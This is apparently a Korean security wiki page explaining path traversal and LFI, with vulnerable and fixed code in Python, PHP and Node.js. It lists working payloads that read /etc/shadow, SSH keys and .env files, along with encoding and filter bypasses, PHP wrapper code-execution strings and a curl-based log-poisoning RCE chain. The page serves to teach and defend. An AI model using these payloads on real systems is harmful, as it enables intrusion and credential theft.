상위: Web Security
요약
Path Traversal(경로 탐색, Directory Traversal)은 ../ 같은 경로 조작 문자를 이용해 웹 루트 외부의 파일에 접근하는 공격입니다. LFI(Local File Inclusion)와 밀접한 관련이 있습니다.
공격 원리
취약한 코드
@app.route('/download')
def download():
filename = request.args.get('file')
# 사용자 입력을 그대로 경로에 사용 (위험!)
return send_file(f'/var/www/files/{filename}')
공격
정상: /download?file=report.pdf
공격: /download?file=../../../etc/passwd
서버 경로: /var/www/files/../../../etc/passwd
= /etc/passwd
공격 페이로드
기본 공격
../../../etc/passwd
..\..\..\..\windows\system32\config\sam
....//....//....//etc/passwd
Linux 주요 파일
/etc/passwd # 사용자 목록
/etc/shadow # 비밀번호 해시
/etc/hosts # 호스트 설정
/home/user/.ssh/id_rsa # SSH 개인키
/home/user/.bash_history # 명령어 기록
/proc/self/environ # 환경 변수
/var/log/apache2/access.log # 웹 로그
Windows 주요 파일
C:\Windows\system.ini
C:\Windows\win.ini
C:\Users\Administrator\.ssh\id_rsa
C:\inetpub\wwwroot\web.config
애플리케이션 설정 파일
/var/www/html/wp-config.php # WordPress
/var/www/html/.env # Laravel, Django
/app/config/database.yml # Rails
/WEB-INF/web.xml # Java
우회 기법
인코딩 우회
# URL 인코딩
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# 더블 인코딩
..%252f..%252f..%252fetc%252fpasswd
# 16bit Unicode
..%u2216..%u2216..%u2216etc%u2216passwd
# UTF-8 Unicode
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Null Byte 우회 (PHP < 5.3)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.pdf
필터 우회
# ../ 필터링 우회
....//....//....//etc/passwd
..../..../..../etc/passwd
..;/..;/..;/etc/passwd
# ..\ (Windows)
..\..\..\..\windows\win.ini
....\\....\\....\\windows\\win.ini
절대 경로 사용
/etc/passwd
file:///etc/passwd
LFI (Local File Inclusion)
PHP include 취약점
// 취약한 코드
include($_GET['page'] . '.php');
공격
?page=../../../etc/passwd%00
?page=php://filter/convert.base64-encode/resource=config
?page=data://text/plain,<?php system('id'); ?>
PHP Wrapper 활용
| Wrapper | 용도 | 예시 |
|---|---|---|
php://filter | 파일 내용 인코딩 | php://filter/convert.base64-encode/resource=config.php |
php://input | POST 데이터를 코드로 실행 | ?page=php://input + POST: <?php system('id'); ?> |
data:// | 데이터를 코드로 실행 | data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== |
expect:// | 명령어 실행 | expect://id |
zip:// | ZIP 내 파일 포함 | zip://uploads/shell.zip#shell.php |
Log Poisoning (LFI to RCE)
# 1. User-Agent에 PHP 코드 삽입
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# 2. 로그 파일 포함
?page=../../../var/log/apache2/access.log&cmd=id
취약한 코드 vs 안전한 코드
Python
취약:
@app.route('/download')
def download():
filename = request.args.get('file')
return send_file(f'/uploads/{filename}')
안전:
import os
from werkzeug.utils import secure_filename
@app.route('/download')
def download():
filename = request.args.get('file')
# 파일명만 추출 (경로 제거)
filename = secure_filename(filename)
# 기본 경로와 결합
filepath = os.path.join('/uploads', filename)
# 실제 경로가 허용된 디렉토리 내인지 확인
if not os.path.realpath(filepath).startswith('/uploads/'):
abort(403)
return send_file(filepath)
PHP
취약:
include($_GET['page'] . '.php');
readfile('uploads/' . $_GET['file']);
안전:
// 화이트리스트 방식
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) {
die("Page not found");
}
include($page . '.php');
// 또는 basename 사용
$file = basename($_GET['file']); // 경로 제거, 파일명만
readfile('uploads/' . $file);
Node.js
취약:
app.get('/file', (req, res) => {
res.sendFile(__dirname + '/files/' + req.query.name);
});
안전:
const path = require('path');
app.get('/file', (req, res) => {
const filename = path.basename(req.query.name); // 파일명만
const filepath = path.join(__dirname, 'files', filename);
// 경로 검증
if (!filepath.startsWith(path.join(__dirname, 'files'))) {
return res.status(403).send('Forbidden');
}
res.sendFile(filepath);
});
방어 방법
1. 입력값 검증 (화이트리스트)
ALLOWED_FILES = ['report.pdf', 'manual.pdf', 'guide.pdf']
def download(filename):
if filename not in ALLOWED_FILES:
raise ValueError("허용되지 않은 파일")
2. 경로 정규화 후 검증
import os
def safe_path(base_dir, filename):
# 경로 결합 후 정규화
filepath = os.path.realpath(os.path.join(base_dir, filename))
# 기본 디렉토리 내인지 확인
if not filepath.startswith(os.path.realpath(base_dir)):
raise ValueError("경로 탐색 시도 감지")
return filepath
3. Chroot/Jail 사용
# 웹 애플리케이션을 특정 디렉토리로 제한
os.chroot('/var/www/app')
4. 파일 ID 사용 (경로 대신)
# 직접 경로 대신 데이터베이스 ID 사용
@app.route('/download/<int:file_id>')
def download(file_id):
file_info = File.query.get_or_404(file_id)
# 권한 확인 후 전송
return send_file(file_info.path)
테스트 페이로드
# 기본
../../../etc/passwd
..\..\..\..\windows\win.ini
# 인코딩
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
# 필터 우회
....//....//etc/passwd
..;/..;/etc/passwd
# Null byte (구버전)
../../../etc/passwd%00.jpg
# PHP Wrapper
php://filter/convert.base64-encode/resource=config.php
테스트 도구
| 도구 | 용도 |
|---|---|
| dotdotpwn | Path Traversal 자동화 |
| Burp Suite | 수동 테스트 |
| LFISuite | LFI 공격 자동화 |
관련 공격
- Command Injection - LFI to RCE 연계
- SSRF - 내부 파일 접근
- XXE - XML을 통한 파일 읽기
- IDOR - 파일 ID 조작